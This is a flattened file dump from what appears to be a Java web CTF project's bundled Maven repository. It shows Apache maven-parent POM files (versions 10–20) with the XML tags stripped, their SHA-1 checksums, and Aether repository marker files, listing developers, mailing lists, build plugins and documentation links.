cobertura-maven-plugin 2.2 clean clean org.apache.maven.plugins maven-project-info-reports-plugin 2.1 org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.apache.maven.plugins maven-checkstyle-plugin 2.2 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin 2.4 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo cobertura-maven-plugin 2.2 org.codehaus.mojo taglist-maven-plugin 2.2 org.apache.maven.plugins maven-jxr-plugin 2.1 ${project.build.sourceEncoding} org.apache.maven.plugins maven-javadoc-plugin 2.5 ${project.build.sourceEncoding} http://java.sun.com/j2se/1.4.2/docs/api http://java.sun.com/j2ee/1.4/docs/api http://java.sun.com/j2se/1.5.0/docs/api http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://commons.apache.org/dbcp/apidocs/ http://commons.apache.org/fileupload/apidocs/ http://commons.apache.org/httpclient/apidocs/ http://commons.apache.org/logging/apidocs/ http://commons.apache.org/pool/apidocs/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://jakarta.apache.org/regexp/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ javadoc test-javadoc release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign true org.apache.maven.plugins maven-deploy-plugin ${deploy.altRepository} true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin ${project.build.sourceEncoding} attach-javadocs jar
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/10/maven-parent-10.pom.sha1 ================================================ 281aafa31dfa9544070448ea8f353434f53267e4 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/11/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:35 CST 2018 maven-parent-11.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/11/maven-parent-11.pom ================================================ 4.0.0 org.apache apache 5 ../asf/pom.xml org.apache.maven maven-parent 11 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ 2002 jvanzyl Jason van Zyl jason@maven.org ASF PMC Chair -5 aheritier Arnaud Heritier aheritier@apache.org OCTO Technology http://www.octo.com PMC Member +1 bentmann Benjamin Bentmann bentmann@apache.org PMC Member +1 brett Brett Porter brett@apache.org ASF PMC Member +10 brianf Brian Fox brianf@apache.org ASF PMC Member -5 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 fgiust Fabrizio Giustina fgiust@apache.org openmind PMC Member +1 hboutemy Herve Boutemy hboutemy@apache.org PMC Member +1 jdcasey John Casey jdcasey@apache.org ASF PMC Member -5 joakime Joakim Erdfelt joakime@apache.org ASF PMC Member -5 jstrachan James Strachan PMC Member jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF PMC Member +8 jmcconnell Jesse McConnell jmcconnell@apache.org ASF PMC Member -6 kenney Kenney Westerhof kenney@apache.org Neonics PMC Member +1 ltheussl Lukas Theussl ltheussl@apache.org ASF PMC Member +1 mperham Mike Perham mperham@gmail.com IBM PMC Member -6 olamy Olivier Lamy olamy@apache.org PMC Member +1 rgoers Ralph Goers rgoers@apache.org Intuit -8 PMC Member snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 trygvis Trygve Laugstol trygvis@apache.org ASF PMC Member +1 vmassol Vincent Massol vmassol@apache.org ASF PMC Member +1 vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wsmoak Wendy Smoak wsmoak@apache.org PMC Member -7 dkulp Daniel Kulp dkulp@apache.org IONA PMC Member -5 aramirez Allan Q. Ramirez Committer baerrach Barrie Treloar Committer bayard Henri Yandell Committer bellingard Fabrice Bellingard Committer chrisjs Chris Stevenson Committer dantran Dan Tran Committer dblevins David Blevins Committer dlr Daniel Rall Committer epunzalan Edwin Punzalan epunzalan@apache.org Committer -8 felipeal Felipe Leme Committer handyande Andrew Williams handyande@apache.org Committer 0 jjensen Jeff Jensen Committer mkleint Milos Kleint Committer nicolas Nicolas De Loof nicolas@apache.org Capgemini Committer +1 oching Maria Odea B. Ching Committer pschneider Patrick Schneider pschneider@gmail.com Committer -6 ptahchiev Petar Tahchiev ptahchiev@apache.org Committer +2 rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 rinku Rahul Thakur Committer shinobu Shinobu Kuwai Committer smorgrav Torbjorn Eikli Smorgrav Committer ogusakov Oleg Gusakov Committer Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announce Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-11 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-11 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-11 Hudson http://grid.sonatype.org/ci mail
      notifications@maven.apache.org
      apache.website scp://people.apache.org/www/maven.apache.org UTF-8 org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.4 org.apache.maven.plugins maven-antrun-plugin 1.3 org.apache.maven.plugins maven-clean-plugin 2.3 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.4 1.4 ${project.build.sourceEncoding} org.apache.maven.plugins maven-deploy-plugin 2.4 org.apache.maven.plugins maven-docck-plugin 1.0 org.apache.maven.plugins maven-enforcer-plugin 1.0-alpha-4 org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-4 org.apache.maven.plugins maven-install-plugin 2.2 org.apache.maven.plugins maven-invoker-plugin 1.3 org.apache.maven.plugins maven-jar-plugin 2.2 true true org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-plugin-plugin 2.4.3 org.apache.maven.plugins maven-release-plugin 2.0-beta-8 false deploy -Prelease org.apache.maven.plugins maven-remote-resources-plugin 1.0 org.apache.maven.plugins maven-resources-plugin 2.3 ${project.build.sourceEncoding} org.apache.maven.plugins maven-scm-plugin 1.1 org.apache.maven.plugins maven-site-plugin 2.0-beta-7 org.apache.maven.plugins maven-source-plugin 2.0.4 org.apache.maven.plugins maven-surefire-plugin 2.4.3 org.codehaus.mojo clirr-maven-plugin 2.2.2 org.codehaus.plexus plexus-maven-plugin 1.3.8 org.codehaus.modello modello-maven-plugin 1.0-alpha-22 maven-project-info-reports-plugin 2.1 quality-checks quality-checks true org.apache.maven.plugins maven-pmd-plugin 2.4 ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin cpd-check verify cpd-check reporting org.codehaus.mojo cobertura-maven-plugin 2.2 clean clean org.apache.maven.plugins maven-project-info-reports-plugin 2.1 org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.apache.maven.plugins maven-checkstyle-plugin 2.2 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin 2.4 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo cobertura-maven-plugin 2.2 org.codehaus.mojo taglist-maven-plugin 2.2 org.apache.maven.plugins maven-jxr-plugin 2.1 ${project.build.sourceEncoding} org.apache.maven.plugins maven-javadoc-plugin 2.5 ${project.build.sourceEncoding} http://java.sun.com/j2se/1.4.2/docs/api http://java.sun.com/j2ee/1.4/docs/api http://java.sun.com/j2se/1.5.0/docs/api http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://commons.apache.org/dbcp/apidocs/ http://commons.apache.org/fileupload/apidocs/ http://commons.apache.org/httpclient/apidocs/ http://commons.apache.org/logging/apidocs/ http://commons.apache.org/pool/apidocs/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://jakarta.apache.org/regexp/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ javadoc test-javadoc release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign true org.apache.maven.plugins maven-deploy-plugin ${deploy.altRepository} true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin ${project.build.sourceEncoding} attach-javadocs jar
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/11/maven-parent-11.pom.sha1 ================================================ 4bb80173fa4979737840fda012af86f5beabf1bc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/15/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:07 CST 2018 maven-parent-15.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/15/maven-parent-15.pom ================================================ 4.0.0 org.apache apache 6 ../asf/pom.xml org.apache.maven maven-parent 15 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ 2002 brianf Brian Fox brianf@apache.org ASF PMC Chair -5 aheritier Arnaud Héritier aheritier@apache.org PMC Member +1 baerrach Barrie Treloar PMC Member bentmann Benjamin Bentmann bentmann@apache.org PMC Member +1 brett Brett Porter brett@apache.org ASF PMC Member +10 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 dkulp Daniel Kulp dkulp@apache.org IONA PMC Member -5 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 fgiust Fabrizio Giustina fgiust@apache.org openmind PMC Member +1 hboutemy Hervé Boutemy hboutemy@apache.org PMC Member +1 jdcasey John Casey jdcasey@apache.org ASF PMC Member -5 jmcconnell Jesse McConnell jmcconnell@apache.org ASF PMC Member -6 joakime Joakim Erdfelt joakime@apache.org ASF PMC Member -5 jstrachan James Strachan PMC Member jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF PMC Member +8 jvanzyl Jason van Zyl jason@maven.org ASF PMC Member -5 kenney Kenney Westerhof kenney@apache.org Neonics PMC Member +1 ltheussl Lukas Theussl ltheussl@apache.org ASF PMC Member +1 mkleint Milos Kleint PMC Member mperham Mike Perham mperham@gmail.com IBM PMC Member -6 oching Maria Odea B. Ching PMC Member olamy Olivier Lamy olamy@apache.org PMC Member +1 rgoers Ralph Goers rgoers@apache.org Intuit -8 PMC Member snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 trygvis Trygve Laugstol trygvis@apache.org ASF PMC Member +1 vmassol Vincent Massol vmassol@apache.org ASF PMC Member +1 vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wsmoak Wendy Smoak wsmoak@apache.org PMC Member -7 aramirez Allan Q. Ramirez Committer bayard Henri Yandell Committer bellingard Fabrice Bellingard Committer chrisjs Chris Stevenson Committer dantran Dan Tran Committer dblevins David Blevins Committer dlr Daniel Rall Committer epunzalan Edwin Punzalan epunzalan@apache.org Committer -8 felipeal Felipe Leme Committer handyande Andrew Williams handyande@apache.org Committer 0 jjensen Jeff Jensen Committer nicolas Nicolas De Loof nicolas@apache.org Capgemini Committer +1 ogusakov Oleg Gusakov Committer pgier Paul Gier pgier@apache.org Committer -6 pschneider Patrick Schneider pschneider@gmail.com Committer -6 ptahchiev Petar Tahchiev ptahchiev@apache.org Committer +2 rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 rinku Rahul Thakur Committer shinobu Shinobu Kuwai Committer smorgrav Torbjorn Eikli Smorgrav Committer stephenc Stephen Connolly stephenc@apache.org Committer 0 Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announce Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-15 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-15 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-15 Hudson http://grid.sonatype.org/ci mail
      notifications@maven.apache.org
      apache.website scp://people.apache.org/www/maven.apache.org maven-assembly-plugin 2.2-beta-4 apache-release maven-assembly-plugin org.apache.apache.resources apache-source-release-assembly-descriptor 1.0.1 org.codehaus.plexus plexus-utils 2.0.1 source-release-assembly package single true source-release gnu quality-checks quality-checks true org.apache.maven.plugins maven-pmd-plugin 2.4 ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin cpd-check verify cpd-check reporting org.codehaus.mojo cobertura-maven-plugin 2.2 clean clean org.apache.maven.plugins maven-project-info-reports-plugin 2.1.2 org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.apache.maven.plugins maven-checkstyle-plugin 2.3 config/maven_checks.xml config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin 2.4 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo cobertura-maven-plugin 2.3 org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-jxr-plugin 2.1 ${project.build.sourceEncoding} org.apache.maven.plugins maven-javadoc-plugin 2.6.1 ${project.build.sourceEncoding} http://java.sun.com/j2se/1.4.2/docs/api http://java.sun.com/j2ee/1.4/docs/api http://java.sun.com/j2se/1.5.0/docs/api http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://commons.apache.org/dbcp/apidocs/ http://commons.apache.org/fileupload/apidocs/ http://commons.apache.org/httpclient/apidocs/ http://commons.apache.org/logging/apidocs/ http://commons.apache.org/pool/apidocs/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://jakarta.apache.org/regexp/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ http://plexus.codehaus.org/plexus-utils/apidocs/ http://plexus.codehaus.org/plexus-classworlds/apidocs/ http://plexus.codehaus.org/plexus-containers/plexus-container-default/apidocs/ javadoc test-javadoc
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/15/maven-parent-15.pom.sha1 ================================================ 63d5a76e7f9d3c6d7870bde13438856ef5300336 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/16/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:59 CST 2018 maven-parent-16.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/16/maven-parent-16.pom ================================================ 4.0.0 org.apache apache 7 ../asf/pom.xml org.apache.maven maven-parent 16 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ 2002 brianf Brian Fox brianf@apache.org Sonatype PMC Chair -5 aheritier Arnaud Héritier aheritier@apache.org PMC Member +1 baerrach Barrie Treloar PMC Member bentmann Benjamin Bentmann bentmann@apache.org Sonatype PMC Member +1 brett Brett Porter brett@apache.org ASF PMC Member +10 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 dkulp Daniel Kulp dkulp@apache.org ASF PMC Member -5 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 hboutemy Hervé Boutemy hboutemy@apache.org PMC Member +1 jdcasey John Casey jdcasey@apache.org ASF PMC Member -5 jmcconnell Jesse McConnell jmcconnell@apache.org ASF PMC Member -6 jvanzyl Jason van Zyl jason@maven.org Sonatype Founder PMC Member -5 kenney Kenney Westerhof kenney@apache.org Neonics PMC Member +1 ltheussl Lukas Theussl ltheussl@apache.org ASF PMC Member +1 mkleint Milos Kleint PMC Member oching Maria Odea B. Ching PMC Member olamy Olivier Lamy olamy@apache.org PMC Member +1 rgoers Ralph Goers rgoers@apache.org Intuit -8 PMC Member snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 trygvis Trygve Laugstol trygvis@apache.org ASF PMC Member +1 vmassol Vincent Massol vmassol@apache.org ASF PMC Member +1 vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wsmoak Wendy Smoak wsmoak@apache.org PMC Member -7 aramirez Allan Q. Ramirez Committer bayard Henri Yandell Committer bellingard Fabrice Bellingard Committer chrisjs Chris Stevenson Committer dantran Dan Tran Committer dblevins David Blevins Committer dlr Daniel Rall Committer epunzalan Edwin Punzalan epunzalan@apache.org Committer -8 ifedorenko Igor Fedorenko igor@ifedorenko.com Sonatype Committer -5 fgiust Fabrizio Giustina fgiust@apache.org openmind Committer +1 felipeal Felipe Leme Committer handyande Andrew Williams handyande@apache.org Committer 0 jjensen Jeff Jensen Committer krosenvold Kristian Rosenvold krosenvold@apache.org Committer +1 nicolas Nicolas De Loof nicolas@apache.org Capgemini Committer +1 ogusakov Oleg Gusakov Committer pgier Paul Gier pgier@apache.org Red Hat Committer -6 pschneider Patrick Schneider pschneider@gmail.com Committer -6 ptahchiev Petar Tahchiev ptahchiev@apache.org Committer +2 rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 rinku Rahul Thakur Committer shinobu Shinobu Kuwai Committer smorgrav Torbjorn Eikli Smorgrav Committer stephenc Stephen Connolly stephenc@apache.org Committer 0 markh Mark Hobson markh@apache.org Committer 0 joakime Joakim Erdfelt joakime@apache.org ASF Emeritus -5 jstrachan James Strachan Emeritus jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF Emeritus +8 mperham Mike Perham mperham@gmail.com IBM Emeritus -6 Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announce Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-16 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-16 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-16 Hudson http://grid.sonatype.org/ci mail
      notifications@maven.apache.org
      apache.website scp://people.apache.org/www/maven.apache.org quality-checks quality-checks true org.apache.maven.plugins maven-pmd-plugin 2.4 ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin cpd-check verify cpd-check reporting org.codehaus.mojo cobertura-maven-plugin 2.2 clean clean org.apache.maven.plugins maven-project-info-reports-plugin 2.1.2 org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.apache.maven.plugins maven-checkstyle-plugin 2.3 config/maven_checks.xml config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin 2.4 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo cobertura-maven-plugin 2.2 org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-jxr-plugin 2.1 ${project.build.sourceEncoding} org.apache.maven.plugins maven-javadoc-plugin 2.5 ${project.build.sourceEncoding} http://java.sun.com/j2se/1.4.2/docs/api http://java.sun.com/j2ee/1.4/docs/api http://java.sun.com/j2se/1.5.0/docs/api http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://commons.apache.org/dbcp/apidocs/ http://commons.apache.org/fileupload/apidocs/ http://commons.apache.org/httpclient/apidocs/ http://commons.apache.org/logging/apidocs/ http://commons.apache.org/pool/apidocs/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://jakarta.apache.org/regexp/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ http://plexus.codehaus.org/plexus-utils/apidocs/ http://plexus.codehaus.org/plexus-classworlds/apidocs/ http://plexus.codehaus.org/plexus-containers/plexus-container-default/apidocs/ javadoc test-javadoc
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/16/maven-parent-16.pom.sha1 ================================================ 00fed95187c0c9bfd13c08a858cb6f00245a3fa9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/19/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:38 CST 2018 maven-parent-19.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/19/maven-parent-19.pom ================================================ 4.0.0 org.apache apache 9 ../asf/pom.xml org.apache.maven maven-parent 19 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ 2002 brianf Brian Fox brianf@apache.org Sonatype PMC Chair -5 aheritier Arnaud Héritier aheritier@apache.org PMC Member +1 baerrach Barrie Treloar PMC Member bentmann Benjamin Bentmann bentmann@apache.org Sonatype PMC Member +1 brett Brett Porter brett@apache.org ASF PMC Member +10 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 dkulp Daniel Kulp dkulp@apache.org ASF PMC Member -5 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 hboutemy Hervé Boutemy hboutemy@apache.org PMC Member +1 jdcasey John Casey jdcasey@apache.org ASF PMC Member -5 kenney Kenney Westerhof kenney@apache.org Neonics PMC Member +1 krosenvold Kristian Rosenvold krosenvold@apache.org PMC Member +1 ltheussl Lukas Theussl ltheussl@apache.org ASF PMC Member +1 mkleint Milos Kleint PMC Member oching Maria Odea B. Ching PMC Member olamy Olivier Lamy olamy@apache.org PMC Member +1 pgier Paul Gier pgier@apache.org Red Hat PMC Member -6 rgoers Ralph Goers rgoers@apache.org Intuit -8 PMC Member snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 stephenc Stephen Connolly stephenc@apache.org PMC Member 0 vmassol Vincent Massol vmassol@apache.org ASF PMC Member +1 vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wfay Wayne Fay wfay@apache.org ASF PMC Member -6 wsmoak Wendy Smoak wsmoak@apache.org PMC Member -7 bdemers Brian Demers Sonatype bdemers@apache.org -5 Committer bellingard Fabrice Bellingard Committer cstamas Tamas Cservenak Sonatype cstamas@apache.org +1 Committer dantran Dan Tran Committer dbradicich Damian Bradicich Sonatype dbradicich@apache.org -5 Committer ifedorenko Igor Fedorenko igor@ifedorenko.com Sonatype Committer -5 fgiust Fabrizio Giustina fgiust@apache.org openmind Committer +1 handyande Andrew Williams handyande@apache.org Committer 0 jjensen Jeff Jensen Committer jvanzyl Jason van Zyl jason@maven.org Sonatype Founder Committer -5 rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 aramirez Allan Q. Ramirez Emeritus bayard Henri Yandell Emeritus chrisjs Chris Stevenson Emeritus dblevins David Blevins Emeritus dlr Daniel Rall Emeritus epunzalan Edwin Punzalan epunzalan@apache.org Emeritus -8 felipeal Felipe Leme Emeritus jmcconnell Jesse McConnell jmcconnell@apache.org ASF Emeritus -6 joakime Joakim Erdfelt joakime@apache.org ASF Emeritus -5 jstrachan James Strachan Emeritus jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF Emeritus +8 markh Mark Hobson markh@apache.org Emeritus 0 mperham Mike Perham mperham@gmail.com IBM Emeritus -6 ogusakov Oleg Gusakov Emeritus pschneider Patrick Schneider pschneider@gmail.com Emeritus -6 ptahchiev Petar Tahchiev ptahchiev@apache.org Emeritus +2 rinku Rahul Thakur Emeritus shinobu Shinobu Kuwai Emeritus smorgrav Torbjorn Eikli Smorgrav Emeritus trygvis Trygve Laugstol trygvis@apache.org ASF Emeritus +1 Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://old.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announce Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://old.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-19 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-19 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-19 Hudson http://grid.sonatype.org/ci mail
      notifications@maven.apache.org
      apache.website scp://people.apache.org/www/maven.apache.org maven-project-info-reports-plugin 2.3.1 quality-checks quality-checks true org.apache.maven.plugins maven-pmd-plugin 2.4 ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin cpd-check verify cpd-check reporting org.codehaus.mojo cobertura-maven-plugin 2.2 clean clean org.apache.maven.plugins maven-project-info-reports-plugin 2.3.1 org.apache.maven.plugins maven-surefire-report-plugin 2.7.2 org.apache.maven.plugins maven-checkstyle-plugin 2.5 config/maven_checks.xml config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin 2.4 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo cobertura-maven-plugin 2.2 org.apache.maven.plugins maven-jxr-plugin 2.2 org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-javadoc-plugin 2.7 http://download.oracle.com/javase/1.4.2/1.4.2/docs/api http://download.oracle.com/javaee/1.4/docs/api http://download.oracle.com/javase/1.5.0/docs/api http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://commons.apache.org/dbcp/apidocs/ http://commons.apache.org/fileupload/apidocs/ http://commons.apache.org/httpclient/apidocs/ http://commons.apache.org/logging/apidocs/ http://commons.apache.org/pool/apidocs/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://jakarta.apache.org/regexp/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ http://plexus.codehaus.org/plexus-utils/apidocs/ http://plexus.codehaus.org/plexus-classworlds/apidocs/ http://plexus.codehaus.org/plexus-containers/plexus-container-default/apidocs/ javadoc test-javadoc maven-3 ${basedir} maven-site-plugin false attach-descriptor attach-descriptor
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/19/maven-parent-19.pom.sha1 ================================================ 181554ae180245d7f653f77ff869790c2062f2d0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/20/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:02:20 CST 2018 maven-parent-20.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/20/maven-parent-20.pom ================================================ 4.0.0 org.apache apache 9 ../asf/pom.xml org.apache.maven maven-parent 20 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ 2002 brianf Brian Fox brianf@apache.org Sonatype PMC Chair -5 aheritier Arnaud Héritier aheritier@apache.org PMC Member +1 baerrach Barrie Treloar PMC Member brett Brett Porter brett@apache.org ASF PMC Member +10 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg 